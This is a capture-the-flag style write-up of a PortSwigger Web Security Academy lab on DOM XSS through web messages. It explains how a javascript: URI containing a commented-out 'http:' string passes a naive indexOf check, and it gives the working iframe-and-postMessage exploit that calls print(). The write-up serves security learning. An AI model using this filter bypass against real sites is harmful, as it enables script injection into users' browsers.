| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | DOM XSS via postMessage → location.href |
| Difficulty | Practitioner |
| Objective | Send a web message that calls print() via a JavaScript URL redirect |
DOM XSS Using Web Messages and a JavaScript URL — Writeup¶
Reconnaissance¶
Initial Observation¶
Inspecting the page source reveals this script:
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
The page listens for messages, stores the data as url, and if that string contains http: or https: anywhere, it navigates to it via location.href. The check uses indexOf — it's not validating the start of the string, just that the substring exists somewhere in it.
Web — Testing the Redirect and JavaScript URL¶
Confirming location.href redirects in the console:
location.href = "https://google.com"
Redirects to Google. Testing a javascript: URI:
location.href = "javascript:alert(0)"
Alert fires. location.href accepts javascript: URIs and executes them. The problem is the filter — the payload has to contain http: or https: to pass the indexOf check.
Testing how indexOf handles strings:
"http://teto.com".indexOf("http://") // 0 → passes
"https://teto.com".indexOf("https://") // 0 → passes
"javascript:alert(0)//http://teto.com".indexOf("http://") // 19 → also passes
indexOf finds http:// at position 19 inside a javascript: URI — the check passes. Sending it via postMessage:
postMessage("javascript:alert(0)//http://teto.comasdasdad")
Alert fires. The // turns everything after it into a comment inside the javascript: URI, so http://teto.com never executes — it's just there to satisfy the filter.
Attack Path¶
Exploit — iframe + postMessage with javascript: URI¶
Same iframe pattern as the previous lab, just swapping the payload:
<iframe src="https://0a0300810342d0b781cdf230008f00d9.web-security-academy.net/" onload='this.contentWindow.postMessage("javascript:print()//http://teto.com", "*")'></iframe>
Viewing the exploit:
print() fires. Delivering to victim:
Lab solved :P